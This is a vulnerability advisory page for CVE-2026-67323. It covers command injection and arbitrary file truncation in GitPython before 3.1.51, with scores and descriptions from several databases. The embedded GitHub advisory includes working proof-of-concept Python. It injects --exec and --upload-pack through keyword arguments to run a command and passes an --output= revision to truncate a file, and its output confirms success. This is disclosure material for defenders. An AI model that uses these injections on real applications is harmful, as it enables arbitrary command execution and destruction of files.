CVE-2026-67323
JSON

8.6high

GitPython before 3.1.51 Command Injection via unguarded Git options

Severity
8.6high CVSS:4.0 by VulnCheck
Exploit likelihood
1.35% (higher than 72% of CVEs)
Published
Last changed
Assigned by
VulnCheck
Also known as
GHSA-956x-8gvw-wg5vPYSEC-2026-3839

Description

GitPython before 3.1.51 fails to guard against dangerous Git options passed as keyword arguments in Repo.archive() and git.ls_remote(), allowing command injection via options such as --exec/--upload-pack (leading to arbitrary command execution). Additionally, Repo.iter_commits() and Repo.blame() do not check for leading-dash revision arguments, so a revision like --output=<path> can cause Git to open and truncate an arbitrary file. Exploitation requires an application that passes attacker-controlled arguments to these methods.

Affected

Product or packageVersionsReported by
gitpython-developers GitPythonbefore 3.1.51
Not affected: 3.1.51
CVE List
gitpython (PyPI)before 3.1.51GitHub Advisory Database, PyPA Advisory Database
gitpython_project gitpythonbefore 3.1.51NVD

All scores

VulnCheck8.6high CVSS:4.0CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
VulnCheck8.4high CVSS:3.1CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
GitHub8.4high CVSS:3.1CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
PyPA Advisory Database8.4high CVSS:3.1CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Classification

CWE-77CWE-88

SSVC (CISA-ADP): exploitation poc, automatable no, technical impact total.

What each source says

CVE List

GitPython before 3.1.51 fails to guard against dangerous Git options passed as keyword arguments in Repo.archive() and git.ls_remote(), allowing command injection via options such as --exec/--upload-pack (leading to arbitrary command execution). Additionally, Repo.iter_commits() and Repo.blame() do not check for leading-dash revision arguments, so a revision like --output=<path> can cause Git to open and truncate an arbitrary file. Exploitation requires an application that passes attacker-controlled arguments to these methods.

GitHub Advisory Database

Summary

GitPython already know that --upload-pack / --exec are command-exec vectors, they are denylist in git/remote.py:535 and check by Git.check_unsafe_options() (git/cmd.py:963), the thing is this check him he is only call from fetch, pull, push and clone_from, everything else who build a git argv from caller values just go through, no check, three examples

Code analysis

Repo.archive (git/repo/base.py:1623) do self.git.archive("--", treeish, *path, **kwargs), the treeish is after the --, but the kwargs get dashify by transform_kwarg (git/cmd.py:1487) and they land before it, so {"remote": ".", "exec": "<cmd>"} give git archive --remote=. --exec=<cmd> -- <rev>, the --remote spawn the upload-archive helper and --exec choose which binary that is, done, default git config, no protocol.ext.allow needed, and archive already document caller kwargs (format, prefix, path) so pass a dict is normal usage

repo.git.ls_remote(url, upload_pack="<cmd>"), same builder, same result, it's exactly the kwarg gap that CVE-2026-42215 close for fetch/pull/push/clone_from, except the dynamic repo.git.<anything>(**user_dict) surface him he never got the fix

Repo.iter_commits / Repo.blame (git/objects/commit.py:348, git/repo/base.py:1199) put the rev before the --, no leading-dash check, a "branch name" like --output=/etc/whatever become git rev-list --output=... --, and git he open and truncate that file before he even validate the revision, the file is gone even if the command error right after

PoC

Released 3.1.50, git 2.51.0, stock config (git config --get protocol.ext.allow returns nothing here).

pip install GitPython   # 3.1.50

Common setup for the three:

import io, os, tempfile, subprocess, git
d = tempfile.mkdtemp()
subprocess.run(['git','init','-q',d], check=True)
subprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a',
                'commit','-q','--allow-empty','-m','init'], check=True)
repo = git.Repo(d)
tmp = tempfile.gettempdir()
  1. exec via archive (a service exports a repo and forwards the user's options dict):
m = os.path.join(tmp, 'gp_archive_check')
try: repo.archive(io.BytesIO(), **{'remote': '.', 'exec': 'touch ' + m})
except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])
print('[+] marker present:', os.path.exists(m))
[*] Cmd('git') failed due to: exit code(128)
[+] marker present: True
  1. exec via ls_remote:
m = os.path.join(tmp, 'gp_lsremote_check')
try: repo.git.ls_remote('.', upload_pack='touch ' + m + ';')
except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])
print('[+] marker present:', os.path.exists(m))
[*] Cmd('git') failed due to: exit code(128)
[+] marker present: True
  1. file clobber via a rev that looks like a ref:
v = os.path.join(tmp, 'release_notes.txt')
open(v,'w').write('do not delete\n')
print('[*] before:', repr(open(v).read()))
try: list(repo.iter_commits('--output=' + v))
except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])
print('[+] after :', repr(open(v).read()), '<- truncated')
[*] before: 'do not delete\n'
[*] Cmd('git') failed due to: exit code(129)
[+] after : '' <- truncated
NVD (es)

GitPython anterior a la versión 3.1.51 no protege contra opciones peligrosas de Git pasadas como argumentos de palabra clave en Repo.archive() y git.ls_remote(), permitiendo la inyección de comandos a través de opciones como --exec/--upload-pack (lo que lleva a la ejecución arbitraria de comandos). Además, Repo.iter_commits() y Repo.blame() no verifican los argumentos de revisión que comienzan con un guion, por lo que una revisión como --output=[path] puede hacer que Git abra y trunque un archivo arbitrario. La explotación requiere una aplicación que pase argumentos controlados por el atacante a estos métodos.

References

Sources

SourceRecordLicence
CVE ListCVE-2026-67323 changed 2026-10-08CVE Terms of Use
GitHub Advisory DatabaseGHSA-956x-8gvw-wg5v changed 2026-09-10CC-BY-4.0
NVDCVE-2026-67323 changed 2026-10-23Public domain
PyPA Advisory DatabasePYSEC-2026-3839 changed 2026-09-10CC-BY-4.0